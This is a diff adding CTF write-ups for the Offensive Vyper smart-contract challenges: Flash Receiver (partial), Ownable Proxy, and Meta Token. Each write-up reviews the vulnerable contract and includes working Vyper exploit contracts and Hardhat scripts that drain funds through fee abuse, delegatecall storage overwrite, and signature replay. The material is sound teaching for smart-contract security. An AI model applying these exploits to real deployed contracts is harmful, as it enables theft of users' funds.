+Contract main functions:
+- `deposit` transfers the amount requested to the sender (line `46`) and updates the `deposits` variable by incrementing the amount for the sender (line `47`)
+- `withdraw` decrements the `deposit` variable with the amount requested for the sender (line `58`) and transfer the amount to the pool (line `59`)
+- `flash_loan`:
+ - checks if the pool has enough balance for the loan (line `72`)
+ - transfers the amount requested to the sender (line `74`)
+ - calls the `execute` function from the receiver contract (line `75`)
+ - finally, it checks if the loan plus the fee has been paid back (lines `76-77`)
+
+Anyone can call this function, and there are no checks on the flash loan amount.
+
+Every time the `initiate_flash_loan` function is called, the receiver contract has to pay back the loan plus the additional `10 ETH` fee. However, even if the `execute` function can be called only by the `pool` contract, anyone can call the `initiate_flash_loan` function. Also, there are no checks on the amount in the `execute` function, meaning the receiver can pay `10 ETH` fee even for a `0` loan request.
+
+It means that if we call the `initiate_flash_loan` function multiple times with a `0` amount, the receiver will pay `10 ETH` each time. Since the pool has `100 ETH`, if we call the `initiate_flash_loan` function `10` times, we will drain all its tokens.
+
+
+## 3) Solution
+The solution consists of calling the `initiate_flash_loan` function `10` times with a `0` amount.
+`flash-receiver.challenge.js`:
+```javascript
+
+ it('Exploit', async function () {
+ // YOUR EXPLOIT HERE
+
+ let exploit = await (await ethers.getContractFactory('FlashReceiverExploit', deployer)).deploy(this.receiver.address)
+
+ await exploit.connect(attacker).run();
+
+ })
+
+```
+
+`FlashReceiverExploit.vy`:
+```python
+
+# YOUR EXPLOIT HERE
+@external
+def run():
+ for _ in range(10):
+ Flashreceiver(self.target).initiate_flash_loan(0)
+
+```
+
+You can find the complete code [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/flash-receiver.challenge.js) and [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/contracts/exploits/FlashReceiverExploit.vy).
diff --git a/Offensive_Vyper/OffensiveVyper_06_OwnableProxy.md b/Offensive_Vyper/OffensiveVyper_06_OwnableProxy.md
new file mode 100644
index 0000000..cd99316
--- /dev/null
+++ b/Offensive_Vyper/OffensiveVyper_06_OwnableProxy.md
@@ -0,0 +1,215 @@
+## 1) Challenge
+
+>{{< admonition quote "Description" >}}
+>
+>The Ownable Proxy contract is a proxy contract that can execute a few different calls. Your objective is to become the owner and steal any Ether in the contract.
+>
+>{{< /admonition >}}
+
+Challenge created by [@jtriley_eth](https://twitter.com/jtriley_eth).
+
+
+## 2) Code Review
+
+There is only one contract, `OwnableProxy.vy` ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/main/contracts/ownable-proxy/OwnableProxy.vy)) that implements a proxy contract.
+```python
+
+# @version ^0.3.2
+
+"""
+@title Ownable Proxy Contract
+@author jtriley.eth
+"""
+
+# Storage paddings for external contract calls.
+storage_padding: uint256[32]
+
+
+owner: public(address)
+
+
+@external
+def __init__():
+ self.owner = msg.sender
+
+
+@external
+def forward_call(target: address, payload: Bytes[32]):
+ """
+ @notice Forwards a contract call.
+ @param target Address to call.
+ @param payload Calldata.
+ """
+ raw_call(target, payload)
+
+
+@external
+def forward_call_with_value(
+ target: address,
+ payload: Bytes[32],
+ msg_value: uint256
+):
+ """
+ @notice Forward a contract call with a msg.value.
+ @param target Address to call.
+ @param payload Calldata.
+ @dev reverts if msg.sender is not owner since, ya know, it sends value.
+ """
+ assert msg.sender == self.owner, "not authorized"
+ assert msg_value <= self.balance, "insufficient balance"
+ raw_call(target, payload, value=msg_value)
+
+
+@external
+def forward_delegatecall(target: address, payload: Bytes[32]):
+ """
+ @notice Forwards a contract delegate call.
+ @param target Address to delegate call.
+ @param payload Calldata.
+ @dev Local storage is padded to accomodate delegated contracts.
+ """
+ raw_call(target, payload, is_delegate_call=True)
+
+
+@external
+@payable
+def __default__():
+ pass
+
+```
+Contract main functions:
+- `forward_call` executes the `raw_call` function. It accepts a `target` and a `payload`
+- `forward_call_with_value`, it is the same as above, but it also accepts a value to send. Also, it checks if the sender is the owner (line `42`) and the balance is `>=` than the value to send
+- `forward_delegatecall`, same as `forward_call`, but it executes a delegate call (`is_delegate_call` is set to `true`)
+
+The contract has two variables: `storage_padding` and `owner`.
+
+Our goal is to:
+- become the owner
+- steal any ETH in the contract
+
+#### How can we become the owner?
+
+The owner is stored in `owner` variable. So we need somehow to override that value with the attacker address. When a `DELEGATECALL` is executed, the delegated contract can access the storage variables of the calling contract (in our case, the proxy contact) because the code is executed in its context. If we make our exploit contract have the same variable layout as the proxy contract, we can call the proxy `forward_delegatecall` function by specifying a function of our exploit contract. When executing this function, we can override the `owner` proxy with an address we control (the attacker address that will be the `tx.origin`).
+
+#### How can we steal all the ETH in the proxy contract?
+
+Once we have overwritten the `owner` variable, we can call `forward_call_with_value` by specifying the target address to be the attacker address and thus drain all the funds.
+
+Alternatively, when the function executed by `forward_delegatecall` is called (the same that overwrites the `onwer`), we can send the proxy balance to `tx.origin` (the attacker address) by calling the `raw_call` function. In this case, when `raw_call` is executed, the `msg.sender` will be the proxy contract; thus, it will be possible to drain all its funds.
+
+
+## 3) Solution
+
+For this challenge, there are two possible solutions. In both cases, in our exploit contracts, we need to add the variables `storage_padding` and `owner` before the `target` variable to reflect the proxy variables layout.
+
+### Solution 1
+
+This solution sets the proxy owner to the attacker address and then sends all the proxy balance using the `raw_call` function.
+
+`ownable-proxy.challenge.js`:
+```javascript
+
+ it('Exploit', async function () {
+ // YOUR EXPLOIT HERE
+
+ let exploit = await (await ethers.getContractFactory('OwnableProxyExploit', deployer)).deploy(this.ownableProxy.address)
+
+ console.log(`Owner : ${await this.ownableProxy.owner()}`)
+ let balanceBefore = await ethers.provider.getBalance(attacker.address)
+
+ await exploit.connect(attacker).run();
+
+ let balanceAfter = await ethers.provider.getBalance(attacker.address)
+ console.log(`New Owner: ${await this.ownableProxy.owner()}`)
+
+ expect(balanceAfter).to.be.gt(balanceBefore)
+
+ })
+
+```
+
+`OwnableProxyExploit.vy`:
+```python
+
+storage_padding: uint256[32]
+
+owner: address
+
+target: address
+
+@external
+def __init__(target: address):
+ self.target = target
+
+# YOUR EXPLOIT HERE
+@external
+def run():
+ Ownableproxy(self.target).forward_delegatecall(self, method_id("changeOwner()"))
+
+@external
+def changeOwner():
+ self.owner = tx.origin
+ raw_call(tx.origin, b"", value=2 * 10 ** 18)
+
+```
+
+You can find the complete code [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/ownable-proxy.challenge.js) and [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/contracts/exploits/OwnableProxyExploit.vy).
+
+### Solution 2
+
+This solution sets the proxy owner to the attacker address, and then, when the transaction completes, the attacker address calls the `forward_call_with_value` function. The condition at line `42` will be satisfied because the owner is now our attacker's address.
+
+`ownable-proxy.challenge_2.js`:
+```javascript
+
+ it('Exploit', async function () {
+ // YOUR EXPLOIT HERE
+
+ let exploit = await (await ethers.getContractFactory('OwnableProxyExploit_2', deployer)).deploy(this.ownableProxy.address)
+
+ console.log(`Owner : ${await this.ownableProxy.owner()}`)
+ let balanceBefore = await ethers.provider.getBalance(attacker.address)
+
+ await exploit.connect(attacker).run();
+ await this.ownableProxy.connect(attacker).forward_call_with_value(attacker.address, [], INITIAL_BALANCE)
+
+ let balanceAfter = await ethers.provider.getBalance(attacker.address)
+ console.log(`New Owner: ${await this.ownableProxy.owner()}`)
+
+ expect(balanceAfter).to.be.gt(balanceBefore)
+
+ })
+
+```
+
+`OwnableProxyExploit_2.vy`:
+```python
+
+storage_padding: uint256[32]
+
+owner: address
+
+target: address
+
+@external
+def __init__(target: address):
+ self.target = target
+
+# YOUR EXPLOIT HERE
+@external
+def run():
+ Ownableproxy(self.target).forward_delegatecall(self, method_id("changeOwner()"))
+
+@external
+def changeOwner():
+ self.owner = tx.origin
+
+```
+
+You can find the complete code [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/ownable-proxy.challenge_2.js) and [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/contracts/exploits/OwnableProxyExploit_2.vy).
+
+
+## 4) References
+
+- [SWC-112 - Delegatecall to Untrusted Callee](https://swcregistry.io/docs/SWC-112)
\ No newline at end of file
diff --git a/Offensive_Vyper/OffensiveVyper_07_MetaToken.md b/Offensive_Vyper/OffensiveVyper_07_MetaToken.md
new file mode 100644
index 0000000..cbcb3fe
--- /dev/null
+++ b/Offensive_Vyper/OffensiveVyper_07_MetaToken.md
@@ -0,0 +1,244 @@
+## 1) Challenge
+
+>{{< admonition quote "Description" >}}
+>
+>The Meta Tx contract is an ERC20 token with a builtin meta-transaction-based transfer. Another user has graciously made a meta-transfer to your account. Your objective is to drain their entire balance.
+>
+>{{< /admonition >}}
+
+Challenge created by [@jtriley_eth](https://twitter.com/jtriley_eth).
+
+
+## 2) Code Review
+
+There is only one contract, `MetaToken.vy` ([source code](https://github.com/JoshuaTrujillo15/offensive_vyper/blob/main/contracts/meta-token/MetaToken.vy)) that implements a proxy contract.
+```python
+
+# @version ^0.3.2
+
+"""
+@title Token with Meta Transaction Support
+@author jtriley.eth
+"""
+
+from vyper.interfaces import ERC20
+
+implements: ERC20
+
+event Transfer:
+ sender: indexed(address)
+ receiver: indexed(address)
+ amount: uint256
+
+event Approval:
+ owner: indexed(address)
+ spender: indexed(address)
+ amount: uint256
+
+name: public(String[32])
+
+symbol: public(String[32])
+
+decimals: public(uint8)
+
+totalSupply: public(uint256)
+
+balanceOf: public(HashMap[address, uint256])
+
+allowance: public(HashMap[address, HashMap[address, uint256]])
+
+nonce: public(uint256)
+
+@external
+def __init__(name: String[32], symbol: String[32], initial_supply: uint256):
+ self.name = name
+ self.symbol = symbol
+ self.decimals = 18
+ self.balanceOf[msg.sender] = initial_supply
+ self.totalSupply = initial_supply
+
+
+@external
+def transfer(receiver: address, amount: uint256) -> bool:
+ assert receiver != ZERO_ADDRESS, "zero address receiver"
+ self.balanceOf[msg.sender] -= amount
+ self.balanceOf[receiver] = unsafe_add(self.balanceOf[receiver], amount)
+ log Transfer(msg.sender, receiver, amount)
+ return True
+
+
+@external
+def approve(spender: address, amount: uint256) -> bool:
+ self.allowance[msg.sender][spender] = amount
+ log Approval(msg.sender, spender, amount)
+ return True
+
+
+@external
+def transferFrom(sender: address, receiver: address, amount: uint256) -> bool:
+ if (msg.sender != sender):
+ self.allowance[sender][msg.sender] -= amount
+ self.balanceOf[sender] -= amount
+ self.balanceOf[receiver] = unsafe_add(self.balanceOf[receiver], amount)
+ log Transfer(sender, receiver, amount)
+ return True
+
+
+@external
+def metaTransfer(
+ sender: address,
+ receiver: address,
+ amount: uint256,
+ v: uint256,
+ r: uint256,
+ s: uint256
+) -> bool:
+ """
+ @notice Transfers `amount` on `sender`'s behalf to `receiver`. Transfer is authenticated with an
+ offchain EC digital signature. Signature components `v`, `r`, and `s` can be generated using
+ client libraries are passed to `ecrecover` builtin. If `sender` does not match the recovered
+ signer, the signature is invalid. A nonce is added to protect against replay attacks.
+ @param sender Address from which to transfer.
+ @param receiver Address to which to transfer.
+ @param amount Amount to transfer.
+ @param v Recovery component of ECDSA.
+ @param r ECDSA 'R' coordinate.
+ @param s ECDSA 'S' coordinate.
+ """
+ hash: bytes32 = keccak256(
+ concat(
+ convert(sender, bytes32),
+ convert(receiver, bytes32),
+ convert(amount, bytes32),
+ convert(self.nonce, bytes32)
+ )
+ )
+
+ message: bytes32 = keccak256(
+ concat(
+ b"\x19Ethereum Signed Message:\n32",
+ hash
+ )
+ )
+
+ signer: address = ecrecover(message, v, r, s)
+ assert signer == sender, "invalid sender"
+
+ self.balanceOf[sender] -= amount
+ self.balanceOf[receiver] = unsafe_add(self.balanceOf[receiver], amount)
+
+ return True
+
+```
+
+Contract main functions:
+- `transfer` decreases the `balanceOf` variable for `msg.sender` and increases it for `receiver` with the amount transferred
+- `approve` approves the `spender` to spend the `amount` on behalf of `msg.sender`
+- `transferFrom`, similar to `transfer`, but it first checks if the sender is approved to transfer the amount
+- `metaTransfer` is the core function of this contract:
+ - computes a `hash` by concatenating the `sender`, `receiver`, `amount` and `self.nonce` values (after they are converted to `bytes32`) - lines `92-99`
+ - computes the `keccak256` hash of the string `b"\x19Ethereum Signed Message:\n32"` concatenated with the hash previously computed - lines `101-106`
+ - calls `ecrecover` with `message`, `v`, `r` and `s` parameters to recover the `signer` of the message (line `108`)
+ - checks if the `signer` is equal to the `sender` parameter (line `109`)
+ - if the `signer` is equal to `sender`, it transfers the `amount` from `sender` to `receiver` (it updates the balances in `balanceOf`) - lines `111-112`
+
+Looking at the project setup, we can see that `alice` calls the `metaTransfer` to transfer `10` tokens to our attacker address ([setup](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/meta-token.challenge.js#L41-L48)). It computes the values for `v`, `r` and `s` by calling the `splitSignature` (lines `37-39` - [setup](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/meta-token.challenge.js#L37-L39)) that in turn accepts a `messageHash` that is computed from the `alice` address, the `attacker` address, the `nonce` variable from the contract and the amount to transfer (i.e. `10`).
+
+Our goal is to drain all the tokens from `alice` account.
+
+#### How is the signer verified?
+
+The signer is verified by calling `ecrecover` with the provided parameters (`v`, `r`, `s`) and the hash message.
+
+
+>The `@dev` comment for the `metaTransfer` says:
+>A nonce is added to protect against replay attacks.
+>A `nonce` variable in the contract is read to compute the message, but it is never updated. It will always be `0`, so a replay attack is possible.
+
+
+If we know the values of `v`, `r`, and `s`, we can reuse them and perform the same transfer. The other information used to build the message is `sender` (`alice` address), `receiver` (`attacker` address), `amount` (`10`) and `self.nonce` (`0`).
+
+#### How can we recover function parameters?
+
+The parameters passed to `metaTransfer` (and thus to `ecrecover`) are part of the transaction data, so it's possible to retrieve them.
+The `nonce` is never updated, so we can reply to the same message sent by `alice` and thus update the balance of our attacker. Since `alice` has `100` tokens and `10` are already sent to our attacker address during the challenge setup, if we call (i.e. reply) the `metaTransfer` function `9` times with the same data, we will be able to drain all the `alice` tokens (each transaction will increase the `balances` of our attacker by `10` tokens).
+
+
+## 3) Solution
+
+The solution consists of the following steps:
+- traverse the latest blocks until we find the block containing the transaction done by `alice` where the `metaTransfer` function is called
+- extract the parameters passed to `metaTransfer` that are `sender`, `receiver`, `amount`, `v`, `r`, and `s`
+- pass these values to our exploit contract that will call `metaTransfer` for `9` times
+
+`meta-token.challenge.js`:
+```javascript
+
+ it('Exploit', async function () {
+ // YOUR EXPLOIT HERE
+
+ let exploit = await (await ethers.getContractFactory('MetaTokenExploit', deployer)).deploy(this.token.address)
+
+ const iface = new ethers.utils.Interface(['function metaTransfer(address sender, address receiver, uint256 amount, uint256 v, uint256 r, uint256 s)'])
+
+ const provider = attacker.provider
+
+ let done = false;
+
+ // iterate over latest blocks
+ for(let blockNumber = 0; blockNumber < (await provider.getBlockNumber()); blockNumber++) {
+
+ // get transactions hash
+ let transactions = (await provider.getBlock(blockNumber)).transactions
+
+ for(const txHash of transactions) {
+
+ try {
+ // get the tx data ...
+ let txData = (await provider.getTransaction(txHash)).data
+
+ // ... and try to decode it
+ let {sender, receiver, amount, v, r, s} = iface.decodeFunctionData('metaTransfer', txData)
+
+ expect(sender).to.be.equal(alice.address)
+ expect(receiver).to.be.equal(attacker.address)
+
+ await exploit.connect(attacker).run(sender, attacker.address, amount, v, r, s);
+ done = true;
+
+ } catch {}
+ }
+
+ if(done) break
+ }
+
+ })
+
+```
+
+`MetaTokenExploit.vy`:
+```python
+
+# YOUR EXPLOIT HERE
+@external
+def run(
+ sender: address,
+ receiver: address,
+ amount: uint256,
+ v: uint256,
+ r: uint256,
+ s: uint256
+):
+ for i in range(9):
+ Token(self.target).metaTransfer(sender, receiver, amount, v, r, s)
+
+```
+
+You can find the complete code [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/test/meta-token.challenge.js) and [here](https://github.com/dellalibera/offensive_vyper-solutions/blob/main/contracts/exploits/MetaTokenExploit.vy).
+
+
+## 4) References
+
+- [Solidity - ecrecover](https://docs.soliditylang.org/en/v0.8.17/units-and-global-variables.html)
+- [SWC-117 - Signature Malleability](https://swcregistry.io/docs/SWC-117)
+- [SWC-121 - Missing Protection against Signature Replay Attacks](https://swcregistry.io/docs/SWC-121)
diff --git a/Offensive_Vyper/README.md b/Offensive_Vyper/README.md
new file mode 100644
index 0000000..3d8ce1a
--- /dev/null
+++ b/Offensive_Vyper/README.md
@@ -0,0 +1,15 @@
+
+Write-ups for [Offensive Vyper](https://github.com/jtriley-eth/offensive_vyper) challenges.
+
+Challenges covered:
+
+| | |
+|---|---|
+| ✅ |[0 - Password Vault](https://github.com/jtriley-eth/offensive_vyper/blob/main/docs/PasswordVault.md)|
+| ✅ |[1 - Unstoppable Auction](https://github.com/jtriley-eth/offensive_vyper/blob/main/docs/UnstoppableAuction.md)|
+| ✅ |[2 - Coin Flipper](https://github.com/jtriley-eth/offensive_vyper/blob/main/docs/CoinFlipper.md)|
+| ✅ |[3 - Ether Vault](https://github.com/jtriley-eth/offensive_vyper/blob/main/docs/EtherVault.md)|
+| ✅ |[4 - Ether Flash Loan](https://github.com/jtriley-eth/offensive_vyper/blob/main/docs/EtherFlashLoan.md)|
+| ✅ |[5 - Flash Receiver](https://github.com/jtriley-eth/offensive_vyper/blob/main/docs/FlashReceiver.md)|
+| ✅ |[6 - Ownable Proxy](https://github.com/jtriley-eth/offensive_vyper/blob/main/docs/OwnableProxy.md)|
+| ✅ |[7 - Meta Token](https://github.com/jtriley-eth/offensive_vyper/blob/main/docs/MetaToken.md)|